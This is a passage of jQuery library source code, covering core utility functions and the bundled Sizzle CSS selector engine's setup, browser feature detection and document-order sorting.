( copy !== undefined ) { target[ name ] = copy; } } } } // Return the modified object return target; }; jQuery.extend( { // Unique for each copy of jQuery on the page expando: "jQuery" + ( version + Math.random() ).replace( /\D/g, "" ), // Assume jQuery is ready without the ready module isReady: true, error: function( msg ) { throw new Error( msg ); }, noop: function() {}, isPlainObject: function( obj ) { var proto, Ctor; // Detect obvious negatives // Use toString instead of jQuery.type to catch host objects if ( !obj || toString.call( obj ) !== "[object Object]" ) { return false; } proto = getProto( obj ); // Objects with no prototype (e.g., `Object.create( null )`) are plain if ( !proto ) { return true; } // Objects with prototype are plain iff they were constructed by a global Object function Ctor = hasOwn.call( proto, "constructor" ) && proto.constructor; return typeof Ctor === "function" && fnToString.call( Ctor ) === ObjectFunctionString; }, isEmptyObject: function( obj ) { var name; for ( name in obj ) { return false; } return true; }, // Evaluates a script in a provided context; falls back to the global one // if not specified. globalEval: function( code, options, doc ) { DOMEval( code, { nonce: options && options.nonce }, doc ); }, each: function( obj, callback ) { var length, i = 0; if ( isArrayLike( obj ) ) { length = obj.length; for ( ; i < length; i++ ) { if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) { break; } } } else { for ( i in obj ) { if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) { break; } } } return obj; }, // results is for internal usage only makeArray: function( arr, results ) { var ret = results || []; if ( arr != null ) { if ( isArrayLike( Object( arr ) ) ) { jQuery.merge( ret, typeof arr === "string" ? [ arr ] : arr ); } else { push.call( ret, arr ); } } return ret; }, inArray: function( elem, arr, i ) { return arr == null ? -1 : indexOf.call( arr, elem, i ); }, // Support: Android <=4.0 only, PhantomJS 1 only // push.apply(_, arraylike) throws on ancient WebKit merge: function( first, second ) { var len = +second.length, j = 0, i = first.length; for ( ; j < len; j++ ) { first[ i++ ] = second[ j ]; } first.length = i; return first; }, grep: function( elems, callback, invert ) { var callbackInverse, matches = [], i = 0, length = elems.length, callbackExpect = !invert; // Go through the array, only saving the items // that pass the validator function for ( ; i < length; i++ ) { callbackInverse = !callback( elems[ i ], i ); if ( callbackInverse !== callbackExpect ) { matches.push( elems[ i ] ); } } return matches; }, // arg is for internal usage only map: function( elems, callback, arg ) { var length, value, i = 0, ret = []; // Go through the array, translating each of the items to their new values if ( isArrayLike( elems ) ) { length = elems.length; for ( ; i < length; i++ ) { value = callback( elems[ i ], i, arg ); if ( value != null ) { ret.push( value ); } } // Go through every key on the object, } else { for ( i in elems ) { value = callback( elems[ i ], i, arg ); if ( value != null ) { ret.push( value ); } } } // Flatten any nested arrays return flat( ret ); }, // A global GUID counter for objects guid: 1, // jQuery.support is not used in Core but other projects attach their // properties to it so it needs to exist. support: support } ); if ( typeof Symbol === "function" ) { jQuery.fn[ Symbol.iterator ] = arr[ Symbol.iterator ]; } // Populate the class2type map jQuery.each( "Boolean Number String Function Array Date RegExp Object Error Symbol".split( " " ), function( _i, name ) { class2type[ "[object " + name + "]" ] = name.toLowerCase(); } ); function isArrayLike( obj ) { // Support: real iOS 8.2 only (not reproducible in simulator) // `in` check used to prevent JIT error (gh-2145) // hasOwn isn't used here due to false negatives // regarding Nodelist length in IE var length = !!obj && "length" in obj && obj.length, type = toType( obj ); if ( isFunction( obj ) || isWindow( obj ) ) { return false; } return type === "array" || length === 0 || typeof length === "number" && length > 0 && ( length - 1 ) in obj; } var Sizzle = /*! * Sizzle CSS Selector Engine v2.3.6 * https://sizzlejs.com/ * * Copyright JS Foundation and other contributors * Released under the MIT license * https://js.foundation/ * * Date: 2021-02-16 */ ( function( window ) { var i, support, Expr, getText, isXML, tokenize, compile, select, outermostContext, sortInput, hasDuplicate, // Local document vars setDocument, document, docElem, documentIsHTML, rbuggyQSA, rbuggyMatches, matches, contains, // Instance-specific data expando = "sizzle" + 1 * new Date(), preferredDoc = window.document, dirruns = 0, done = 0, classCache = createCache(), tokenCache = createCache(), compilerCache = createCache(), nonnativeSelectorCache = createCache(), sortOrder = function( a, b ) { if ( a === b ) { hasDuplicate = true; } return 0; }, // Instance methods hasOwn = ( {} ).hasOwnProperty, arr = [], pop = arr.pop, pushNative = arr.push, push = arr.push, slice = arr.slice, // Use a stripped-down indexOf as it's faster than native // https://jsperf.com/thor-indexof-vs-for/5 indexOf = function( list, elem ) { var i = 0, len = list.length; for ( ; i < len; i++ ) { if ( list[ i ] === elem ) { return i; } } return -1; }, booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|" + "ismap|loop|multiple|open|readonly|required|scoped", // Regular expressions // http://www.w3.org/TR/css3-selectors/#whitespace whitespace = "[\\x20\\t\\r\\n\\f]", // https://www.w3.org/TR/css-syntax-3/#ident-token-diagram identifier = "(?:\\\\[\\da-fA-F]{1,6}" + whitespace + "?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+", // Attribute selectors: http://www.w3.org/TR/selectors/#attribute-selectors attributes = "\\[" + whitespace + "*(" + identifier + ")(?:" + whitespace + // Operator (capture 2) "*([*^$|!~]?=)" + whitespace + // "Attribute values must be CSS identifiers [capture 5] // or strings [capture 3 or capture 4]" "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" + whitespace + "*\\]", pseudos = ":(" + identifier + ")(?:\\((" + // To reduce the number of selectors needing tokenize in the preFilter, prefer arguments: // 1. quoted (capture 3; capture 4 or capture 5) "('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" + // 2. simple (capture 6) "((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" + // 3. anything else (capture 2) ".*" + ")\\)|)", // Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter rwhitespace = new RegExp( whitespace + "+", "g" ), rtrim = new RegExp( "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g" ), rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ), rcombinators = new RegExp( "^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace + "*" ), rdescend = new RegExp( whitespace + "|>" ), rpseudo = new RegExp( pseudos ), ridentifier = new RegExp( "^" + identifier + "$" ), matchExpr = { "ID": new RegExp( "^#(" + identifier + ")" ), "CLASS": new RegExp( "^\\.(" + identifier + ")" ), "TAG": new RegExp( "^(" + identifier + "|[*])" ), "ATTR": new RegExp( "^" + attributes ), "PSEUDO": new RegExp( "^" + pseudos ), "CHILD": new RegExp( "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace + "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace + "*(\\d+)|))" + whitespace + "*\\)|)", "i" ), "bool": new RegExp( "^(?:" + booleans + ")$", "i" ), // For use in libraries implementing .is() // We use this for POS matching in `select` "needsContext": new RegExp( "^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i" ) }, rhtml = /HTML$/i, rinputs = /^(?:input|select|textarea|button)$/i, rheader = /^h\d$/i, rnative = /^[^{]+\{\s*\[native \w/, // Easily-parseable/retrievable ID or TAG or CLASS selectors rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/, rsibling = /[+~]/, // CSS escapes // http://www.w3.org/TR/CSS21/syndata.html#escaped-characters runescape = new RegExp( "\\\\[\\da-fA-F]{1,6}" + whitespace + "?|\\\\([^\\r\\n\\f])", "g" ), funescape = function( escape, nonHex ) { var high = "0x" + escape.slice( 1 ) - 0x10000; return nonHex ? // Strip the backslash prefix from a non-hex escape sequence nonHex : // Replace a hexadecimal escape sequence with the encoded Unicode code point // Support: IE <=11+ // For values outside the Basic Multilingual Plane (BMP), manually construct a // surrogate pair high < 0 ? String.fromCharCode( high + 0x10000 ) : String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 ); }, // CSS string/identifier serialization // https://drafts.csswg.org/cssom/#common-serializing-idioms rcssescape = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g, fcssescape = function( ch, asCodePoint ) { if ( asCodePoint ) { // U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTER if ( ch === "\0" ) { return "\uFFFD"; } // Control characters and (dependent upon position) numbers get escaped as code points return ch.slice( 0, -1 ) + "\\" + ch.charCodeAt( ch.length - 1 ).toString( 16 ) + " "; } // Other potentially-special ASCII characters get backslash-escaped return "\\" + ch; }, // Used for iframes // See setDocument() // Removing the function wrapper causes a "Permission Denied" // error in IE unloadHandler = function() { setDocument(); }, inDisabledFieldset = addCombinator( function( elem ) { return elem.disabled === true && elem.nodeName.toLowerCase() === "fieldset"; }, { dir: "parentNode", next: "legend" } ); // Optimize for push.apply( _, NodeList ) try { push.apply( ( arr = slice.call( preferredDoc.childNodes ) ), preferredDoc.childNodes ); // Support: Android<4.0 // Detect silently failing push.apply // eslint-disable-next-line no-unused-expressions arr[ preferredDoc.childNodes.length ].nodeType; } catch ( e ) { push = { apply: arr.length ? // Leverage slice if possible function( target, els ) { pushNative.apply( target, slice.call( els ) ); } : // Support: IE<9 // Otherwise append directly function( target, els ) { var j = target.length, i = 0; // Can't trust NodeList.length while ( ( target[ j++ ] = els[ i++ ] ) ) {} target.length = j - 1; } }; } function Sizzle( selector, context, results, seed ) { var m, i, elem, nid, match, groups, newSelector, newContext = context && context.ownerDocument, // nodeType defaults to 9, since context defaults to document nodeType = context ? context.nodeType : 9; results = results || []; // Return early from calls with invalid selector or context if ( typeof selector !== "string" || !selector || nodeType !== 1 && nodeType !== 9 && nodeType !== 11 ) { return results; } // Try to shortcut find operations (as opposed to filters) in HTML documents if ( !seed ) { setDocument( context ); context = context || document; if ( documentIsHTML ) { // If the selector is sufficiently simple, try using a "get*By*" DOM method // (excepting DocumentFragment context, where the methods don't exist) if ( nodeType !== 11 && ( match = rquickExpr.exec( selector ) ) ) { // ID selector if ( ( m = match[ 1 ] ) ) { // Document context if ( nodeType === 9 ) { if ( ( elem = context.getElementById( m ) ) ) { // Support: IE, Opera, Webkit // TODO: identify versions // getElementById can match elements by name instead of ID if ( elem.id === m ) { results.push( elem ); return results; } } else { return results; } // Element context } else { // Support: IE, Opera, Webkit // TODO: identify versions // getElementById can match elements by name instead of ID if ( newContext && ( elem = newContext.getElementById( m ) ) && contains( context, elem ) && elem.id === m ) { results.push( elem ); return results; } } // Type selector } else if ( match[ 2 ] ) { push.apply( results, context.getElementsByTagName( selector ) ); return results; // Class selector } else if ( ( m = match[ 3 ] ) && support.getElementsByClassName && context.getElementsByClassName ) { push.apply( results, context.getElementsByClassName( m ) ); return results; } } // Take advantage of querySelectorAll if ( support.qsa && !nonnativeSelectorCache[ selector + " " ] && ( !rbuggyQSA || !rbuggyQSA.test( selector ) ) && // Support: IE 8 only // Exclude object elements ( nodeType !== 1 || context.nodeName.toLowerCase() !== "object" ) ) { newSelector = selector; newContext = context; // qSA considers elements outside a scoping root when evaluating child or // descendant combinators, which is not what we want. // In such cases, we work around the behavior by prefixing every selector in the // list with an ID selector referencing the scope context. // The technique has to be used as well when a leading combinator is used // as such selectors are not recognized by querySelectorAll. // Thanks to Andrew Dupont for this technique. if ( nodeType === 1 && ( rdescend.test( selector ) || rcombinators.test( selector ) ) ) { // Expand context for sibling selectors newContext = rsibling.test( selector ) && testContext( context.parentNode ) || context; // We can use :scope instead of the ID hack if the browser // supports it & if we're not changing the context. if ( newContext !== context || !support.scope ) { // Capture the context ID, setting it first if necessary if ( ( nid = context.getAttribute( "id" ) ) ) { nid = nid.replace( rcssescape, fcssescape ); } else { context.setAttribute( "id", ( nid = expando ) ); } } // Prefix every selector in the list groups = tokenize( selector ); i = groups.length; while ( i-- ) { groups[ i ] = ( nid ? "#" + nid : ":scope" ) + " " + toSelector( groups[ i ] ); } newSelector = groups.join( "," ); } try { push.apply( results, newContext.querySelectorAll( newSelector ) ); return results; } catch ( qsaError ) { nonnativeSelectorCache( selector, true ); } finally { if ( nid === expando ) { context.removeAttribute( "id" ); } } } } } // All others return select( selector.replace( rtrim, "$1" ), context, results, seed ); } /** * Create key-value caches of limited size * @returns {function(string, object)} Returns the Object data after storing it on itself with * property name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength) * deleting the oldest entry */ function createCache() { var keys = []; function cache( key, value ) { // Use (key + " ") to avoid collision with native prototype properties (see Issue #157) if ( keys.push( key + " " ) > Expr.cacheLength ) { // Only keep the most recent entries delete cache[ keys.shift() ]; } return ( cache[ key + " " ] = value ); } return cache; } /** * Mark a function for special use by Sizzle * @param {Function} fn The function to mark */ function markFunction( fn ) { fn[ expando ] = true; return fn; } /** * Support testing using an element * @param {Function} fn Passed the created element and returns a boolean result */ function assert( fn ) { var el = document.createElement( "fieldset" ); try { return !!fn( el ); } catch ( e ) { return false; } finally { // Remove from its parent by default if ( el.parentNode ) { el.parentNode.removeChild( el ); } // release memory in IE el = null; } } /** * Adds the same handler for all of the specified attrs * @param {String} attrs Pipe-separated list of attributes * @param {Function} handler The method that will be applied */ function addHandle( attrs, handler ) { var arr = attrs.split( "|" ), i = arr.length; while ( i-- ) { Expr.attrHandle[ arr[ i ] ] = handler; } } /** * Checks document order of two siblings * @param {Element} a * @param {Element} b * @returns {Number} Returns less than 0 if a precedes b, greater than 0 if a follows b */ function siblingCheck( a, b ) { var cur = b && a, diff = cur && a.nodeType === 1 && b.nodeType === 1 && a.sourceIndex - b.sourceIndex; // Use IE sourceIndex if available on both nodes if ( diff ) { return diff; } // Check if b follows a if ( cur ) { while ( ( cur = cur.nextSibling ) ) { if ( cur === b ) { return -1; } } } return a ? 1 : -1; } /** * Returns a function to use in pseudos for input types * @param {String} type */ function createInputPseudo( type ) { return function( elem ) { var name = elem.nodeName.toLowerCase(); return name === "input" && elem.type === type; }; } /** * Returns a function to use in pseudos for buttons * @param {String} type */ function createButtonPseudo( type ) { return function( elem ) { var name = elem.nodeName.toLowerCase(); return ( name === "input" || name === "button" ) && elem.type === type; }; } /** * Returns a function to use in pseudos for :enabled/:disabled * @param {Boolean} disabled true for :disabled; false for :enabled */ function createDisabledPseudo( disabled ) { // Known :disabled false positives: fieldset[disabled] > legend:nth-of-type(n+2) :can-disable return function( elem ) { // Only certain elements can match :enabled or :disabled // https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled // https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled if ( "form" in elem ) { // Check for inherited disabledness on relevant non-disabled elements: // * listed form-associated elements in a disabled fieldset // https://html.spec.whatwg.org/multipage/forms.html#category-listed // https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled // * option elements in a disabled optgroup // https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled // All such elements have a "form" property. if ( elem.parentNode && elem.disabled === false ) { // Option elements defer to a parent optgroup if present if ( "label" in elem ) { if ( "label" in elem.parentNode ) { return elem.parentNode.disabled === disabled; } else { return elem.disabled === disabled; } } // Support: IE 6 - 11 // Use the isDisabled shortcut property to check for disabled fieldset ancestors return elem.isDisabled === disabled || // Where there is no isDisabled, check manually /* jshint -W018 */ elem.isDisabled !== !disabled && inDisabledFieldset( elem ) === disabled; } return elem.disabled === disabled; // Try to winnow out elements that can't be disabled before trusting the disabled property. // Some victims get caught in our net (label, legend, menu, track), but it shouldn't // even exist on them, let alone have a boolean value. } else if ( "label" in elem ) { return elem.disabled === disabled; } // Remaining elements are neither :enabled nor :disabled return false; }; } /** * Returns a function to use in pseudos for positionals * @param {Function} fn */ function createPositionalPseudo( fn ) { return markFunction( function( argument ) { argument = +argument; return markFunction( function( seed, matches ) { var j, matchIndexes = fn( [], seed.length, argument ), i = matchIndexes.length; // Match elements found at the specified indexes while ( i-- ) { if ( seed[ ( j = matchIndexes[ i ] ) ] ) { seed[ j ] = !( matches[ j ] = seed[ j ] ); } } } ); } ); } /** * Checks a node for validity as a Sizzle context * @param {Element|Object=} context * @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value */ function testContext( context ) { return context && typeof context.getElementsByTagName !== "undefined" && context; } // Expose support vars for convenience support = Sizzle.support = {}; /** * Detects XML nodes * @param {Element|Object} elem An element or a document * @returns {Boolean} True iff elem is a non-HTML XML node */ isXML = Sizzle.isXML = function( elem ) { var namespace = elem && elem.namespaceURI, docElem = elem && ( elem.ownerDocument || elem ).documentElement; // Support: IE <=8 // Assume HTML when documentElement doesn't yet exist, such as inside loading iframes // https://bugs.jquery.com/ticket/4833 return !rhtml.test( namespace || docElem && docElem.nodeName || "HTML" ); }; /** * Sets document-related variables once based on the current document * @param {Element|Object} [doc] An element or document object to use to set the document * @returns {Object} Returns the current document */ setDocument = Sizzle.setDocument = function( node ) { var hasCompare, subWindow, doc = node ? node.ownerDocument || node : preferredDoc; // Return early if doc is invalid or already selected // Support: IE 11+, Edge 17 - 18+ // IE/Edge sometimes throw a "Permission denied" error when strict-comparing // two documents; shallow comparisons work. // eslint-disable-next-line eqeqeq if ( doc == document || doc.nodeType !== 9 || !doc.documentElement ) { return document; } // Update global variables document = doc; docElem = document.documentElement; documentIsHTML = !isXML( document ); // Support: IE 9 - 11+, Edge 12 - 18+ // Accessing iframe documents after unload throws "permission denied" errors (jQuery #13936) // Support: IE 11+, Edge 17 - 18+ // IE/Edge sometimes throw a "Permission denied" error when strict-comparing // two documents; shallow comparisons work. // eslint-disable-next-line eqeqeq if ( preferredDoc != document && ( subWindow = document.defaultView ) && subWindow.top !== subWindow ) { // Support: IE 11, Edge if ( subWindow.addEventListener ) { subWindow.addEventListener( "unload", unloadHandler, false ); // Support: IE 9 - 10 only } else if ( subWindow.attachEvent ) { subWindow.attachEvent( "onunload", unloadHandler ); } } // Support: IE 8 - 11+, Edge 12 - 18+, Chrome <=16 - 25 only, Firefox <=3.6 - 31 only, // Safari 4 - 5 only, Opera <=11.6 - 12.x only // IE/Edge & older browsers don't support the :scope pseudo-class. // Support: Safari 6.0 only // Safari 6.0 supports :scope but it's an alias of :root there. support.scope = assert( function( el ) { docElem.appendChild( el ).appendChild( document.createElement( "div" ) ); return typeof el.querySelectorAll !== "undefined" && !el.querySelectorAll( ":scope fieldset div" ).length; } ); /* Attributes ---------------------------------------------------------------------- */ // Support: IE<8 // Verify that getAttribute really returns attributes and not properties // (excepting IE8 booleans) support.attributes = assert( function( el ) { el.className = "i"; return !el.getAttribute( "className" ); } ); /* getElement(s)By* ---------------------------------------------------------------------- */ // Check if getElementsByTagName("*") returns only elements support.getElementsByTagName = assert( function( el ) { el.appendChild( document.createComment( "" ) ); return !el.getElementsByTagName( "*" ).length; } ); // Support: IE<9 support.getElementsByClassName = rnative.test( document.getElementsByClassName ); // Support: IE<10 // Check if getElementById returns elements by name // The broken getElementById methods don't pick up programmatically-set names, // so use a roundabout getElementsByName test support.getById = assert( function( el ) { docElem.appendChild( el ).id = expando; return !document.getElementsByName || !document.getElementsByName( expando ).length; } ); // ID filter and find if ( support.getById ) { Expr.filter[ "ID" ] = function( id ) { var attrId = id.replace( runescape, funescape ); return function( elem ) { return elem.getAttribute( "id" ) === attrId; }; }; Expr.find[ "ID" ] = function( id, context ) { if ( typeof context.getElementById !== "undefined" && documentIsHTML ) { var elem = context.getElementById( id ); return elem ? [ elem ] : []; } }; } else { Expr.filter[ "ID" ] = function( id ) { var attrId = id.replace( runescape, funescape ); return function( elem ) { var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode( "id" ); return node && node.value === attrId; }; }; // Support: IE 6 - 7 only // getElementById is not reliable as a find shortcut Expr.find[ "ID" ] = function( id, context ) { if ( typeof context.getElementById !== "undefined" && documentIsHTML ) { var node, i, elems, elem = context.getElementById( id ); if ( elem ) { // Verify the id attribute node = elem.getAttributeNode( "id" ); if ( node && node.value === id ) { return [ elem ]; } // Fall back on getElementsByName elems = context.getElementsByName( id ); i = 0; while ( ( elem = elems[ i++ ] ) ) { node = elem.getAttributeNode( "id" ); if ( node && node.value === id ) { return [ elem ]; } } } return []; } }; } // Tag Expr.find[ "TAG" ] = support.getElementsByTagName ? function( tag, context ) { if ( typeof context.getElementsByTagName !== "undefined" ) { return context.getElementsByTagName( tag ); // DocumentFragment nodes don't have gEBTN } else if ( support.qsa ) { return context.querySelectorAll( tag ); } } : function( tag, context ) { var elem, tmp = [], i = 0, // By happy coincidence, a (broken) gEBTN appears on DocumentFragment nodes too results = context.getElementsByTagName( tag ); // Filter out possible comments if ( tag === "*" ) { while ( ( elem = results[ i++ ] ) ) { if ( elem.nodeType === 1 ) { tmp.push( elem ); } } return tmp; } return results; }; // Class Expr.find[ "CLASS" ] = support.getElementsByClassName && function( className, context ) { if ( typeof context.getElementsByClassName !== "undefined" && documentIsHTML ) { return context.getElementsByClassName( className ); } }; /* QSA/matchesSelector ---------------------------------------------------------------------- */ // QSA and matchesSelector support // matchesSelector(:active) reports false when true (IE9/Opera 11.5) rbuggyMatches = []; // qSa(:focus) reports false when true (Chrome 21) // We allow this because of a bug in IE8/9 that throws an error // whenever `document.activeElement` is accessed on an iframe // So, we allow :focus to pass through QSA all the time to avoid the IE error // See https://bugs.jquery.com/ticket/13378 rbuggyQSA = []; if ( ( support.qsa = rnative.test( document.querySelectorAll ) ) ) { // Build QSA regex // Regex strategy adopted from Diego Perini assert( function( el ) { var input; // Select is set to empty string on purpose // This is to test IE's treatment of not explicitly // setting a boolean content attribute, // since its presence should be enough // https://bugs.jquery.com/ticket/12359 docElem.appendChild( el ).innerHTML = "<a id='" + expando + "'></a>" + "<select id='" + expando + "-\r\\' msallowcapture=''>" + "<option selected=''></option></select>"; // Support: IE8, Opera 11-12.16 // Nothing should be selected when empty strings follow ^= or $= or *= // The test attribute must be unknown in Opera but "safe" for WinRT // https://msdn.microsoft.com/en-us/library/ie/hh465388.aspx#attribute_section if ( el.querySelectorAll( "[msallowcapture^='']" ).length ) { rbuggyQSA.push( "[*^$]=" + whitespace + "*(?:''|\"\")" ); } // Support: IE8 // Boolean attributes and "value" are not treated correctly if ( !el.querySelectorAll( "[selected]" ).length ) { rbuggyQSA.push( "\\[" + whitespace + "*(?:value|" + booleans + ")" ); } // Support: Chrome<29, Android<4.4, Safari<7.0+, iOS<7.0+, PhantomJS<1.9.8+ if ( !el.querySelectorAll( "[id~=" + expando + "-]" ).length ) { rbuggyQSA.push( "~=" ); } // Support: IE 11+, Edge 15 - 18+ // IE 11/Edge don't find elements on a `[name='']` query in some cases. // Adding a temporary attribute to the document before the selection works // around the issue. // Interestingly, IE 10 & older don't seem to have the issue. input = document.createElement( "input" ); input.setAttribute( "name", "" ); el.appendChild( input ); if ( !el.querySelectorAll( "[name='']" ).length ) { rbuggyQSA.push( "\\[" + whitespace + "*name" + whitespace + "*=" + whitespace + "*(?:''|\"\")" ); } // Webkit/Opera - :checked should return selected option elements // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked // IE8 throws error here and will not see later tests if ( !el.querySelectorAll( ":checked" ).length ) { rbuggyQSA.push( ":checked" ); } // Support: Safari 8+, iOS 8+ // https://bugs.webkit.org/show_bug.cgi?id=136851 // In-page `selector#id sibling-combinator selector` fails if ( !el.querySelectorAll( "a#" + expando + "+*" ).length ) { rbuggyQSA.push( ".#.+[+~]" ); } // Support: Firefox <=3.6 - 5 only // Old Firefox doesn't throw on a badly-escaped identifier. el.querySelectorAll( "\\\f" ); rbuggyQSA.push( "[\\r\\n\\f]" ); } ); assert( function( el ) { el.innerHTML = "<a href='' disabled='disabled'></a>" + "<select disabled='disabled'><option/></select>"; // Support: Windows 8 Native Apps // The type and name attributes are restricted during .innerHTML assignment var input = document.createElement( "input" ); input.setAttribute( "type", "hidden" ); el.appendChild( input ).setAttribute( "name", "D" ); // Support: IE8 // Enforce case-sensitivity of name attribute if ( el.querySelectorAll( "[name=d]" ).length ) { rbuggyQSA.push( "name" + whitespace + "*[*^$|!~]?=" ); } // FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled) // IE8 throws error here and will not see later tests if ( el.querySelectorAll( ":enabled" ).length !== 2 ) { rbuggyQSA.push( ":enabled", ":disabled" ); } // Support: IE9-11+ // IE's :disabled selector does not pick up the children of disabled fieldsets docElem.appendChild( el ).disabled = true; if ( el.querySelectorAll( ":disabled" ).length !== 2 ) { rbuggyQSA.push( ":enabled", ":disabled" ); } // Support: Opera 10 - 11 only // Opera 10-11 does not throw on post-comma invalid pseudos el.querySelectorAll( "*,:x" ); rbuggyQSA.push( ",.*:" ); } ); } if ( ( support.matchesSelector = rnative.test( ( matches = docElem.matches || docElem.webkitMatchesSelector || docElem.mozMatchesSelector || docElem.oMatchesSelector || docElem.msMatchesSelector ) ) ) ) { assert( function( el ) { // Check to see if it's possible to do matchesSelector // on a disconnected node (IE 9) support.disconnectedMatch = matches.call( el, "*" ); // This should fail with an exception // Gecko does not error, returns false instead matches.call( el, "[s!='']:x" ); rbuggyMatches.push( "!=", pseudos ); } ); } rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join( "|" ) ); rbuggyMatches = rbuggyMatches.length && new RegExp( rbuggyMatches.join( "|" ) ); /* Contains ---------------------------------------------------------------------- */ hasCompare = rnative.test( docElem.compareDocumentPosition ); // Element contains another // Purposefully self-exclusive // As in, an element does not contain itself contains = hasCompare || rnative.test( docElem.contains ) ? function( a, b ) { var adown = a.nodeType === 9 ? a.documentElement : a, bup = b && b.parentNode; return a === bup || !!( bup && bup.nodeType === 1 && ( adown.contains ? adown.contains( bup ) : a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16 ) ); } : function( a, b ) { if ( b ) { while ( ( b = b.parentNode ) ) { if ( b === a ) { return true; } } } return false; }; /* Sorting ---------------------------------------------------------------------- */ // Document order sorting sortOrder = hasCompare ? function( a, b ) { // Flag for duplicate removal if ( a === b ) { hasDuplicate = true; return 0; } // Sort on method existence if only one input has compareDocumentPosition var compare = !a.compareDocumentPosition - !b.compareDocumentPosition; if ( compare ) { return compare; } // Calculate position if both inputs belong to the same document // Support: IE 11+, Edge 17 - 18+ // IE/Edge sometimes throw a "Permission denied" error when strict-comparing // two documents; shallow comparisons work. // eslint-disable-next-line eqeqeq compare = ( a.ownerDocument || a ) == ( b.ownerDocument || b ) ? a.compareDocumentPosition( b ) : // Otherwise we know they are disconnected 1; // Disconnected nodes if ( compare & 1 || ( !support.sortDetached && b.compareDocumentPosition( a ) === compare ) ) { // Choose the first element that is related to our preferred document // Support: IE 11+, Edge 17 - 18+ // IE/Edge sometimes throw a "Permission denied" error when strict-comparing // two documents; shallow comparisons work. // eslint-disable-next-line eqeqeq if ( a == document || a.ownerDocument == preferredDoc && contains( preferredDoc, a ) ) { return -1; } // Support: IE 11+, Edge 17 - 18+ // IE/Edge sometimes throw a "Permission denied" error when strict-comparing // two documents; shallow comparisons work. // eslint-disable-next-line eqeqeq if ( b == document || b.ownerDocument == preferredDoc && contains( preferredDoc, b ) ) { return 1; } // Maintain original order return sortInput ? ( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) : 0; } return compare & 4 ? -1 : 1; } : function( a, b ) { // Exit early if the nodes are identical if ( a === b ) { hasDuplicate = true; return 0; } var cur, i = 0, aup = a.parentNode, bup = b.parentNode, ap = [ a ], bp = [ b ]; // Parentless nodes are either documents or disconnected if ( !aup || !bup ) { // Support: IE 11+, Edge 17 - 18+ // IE/Edge sometimes throw a "Permission denied" error when strict-comparing // two documents; shallow comparisons work. /* eslint-disable eqeqeq */ return a == document ? -1 : b == document ? 1 : /* eslint-enable eqeqeq */ aup ? -1 : bup ? 1 : sortInput ? ( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) : 0; // If the nodes are siblings, we can do a quick check } else if ( aup === bup ) { return siblingCheck( a, b ); } // Otherwise we need full lists of their ancestors for comparison cur = a; while ( ( cur = cur.parentNode ) ) { ap.unshift( cur ); } cur = b; while ( ( cur = cur.parentNode ) ) { bp.unshift( cur ); } // Walk down the tree looking for a discrepancy while ( ap[ i ] === bp[ i ] ) { i++; } return i ? // Do a sibling check if the nodes have a common ancestor siblingCheck( ap[ i ], bp[ i ] ) : // Otherwise nodes in our document sort first // Support: IE 11+, Edge 17 - 18+ // IE/Edge sometimes throw a "Permission denied" error when strict-comparing // two documents; shallow comparisons work. /* eslint-disable eqeqeq */ ap[ i ] == preferredDoc ? -1 : bp[ i ] == preferredDoc ? 1 : /* eslint-enable eqeqeq */ 0; }; return document; }; Sizzle.matches = function( expr, elements ) { return Sizzle( expr, null, null, elements ); }; Sizzle.matchesSelector = function( elem, expr ) { setDocument( elem ); if ( support.matchesSelector && documentIsHTML && !nonnativeSelectorCache[ expr + " " ] && ( !rbuggyMatches || !rbuggyMatches.test( expr ) ) && ( !rbuggyQSA || !rbuggyQSA.test( expr ) ) ) { try { var ret = matches.call( elem, expr ); // IE 9's matchesSelector returns false on disconnected nodes if ( ret || support.disconnectedMatch || // As well, disconnected nodes are said to be in a document // fragment in IE 9 elem.document && elem.document.nodeType !== 11 ) { return ret; } } catch ( e ) { nonnativeSelectorCache( expr, true ); } } return Sizzle( expr, document, null, [ elem ] ).length > 0; }; Sizzle.contains = function( context, elem ) { // Set document vars if needed // Support: IE 11+, Edge 17 - 18+ // IE/Edge sometimes throw a "Permission denied" error when strict-comparing // two documents; shallow comparisons work. // eslint-disable-next-line eqeqeq if ( ( context.ownerDocument || context ) != document ) { setDocument( context ); } return contains( context, elem ); }; Sizzle.attr = function( elem, name ) { // Set document vars if needed // Support: IE 11+, Edge 17 - 18+ // IE/Edge sometimes throw a "Permission denied" error when strict-comparing // two documents; shallow comparisons work. // eslint-disable-next-line eqeqeq if ( ( elem.ownerDocument || elem ) != document ) { setDocument( elem ); } var fn = Expr.attrHandle[ name.toLowerCase() ], // Don't get 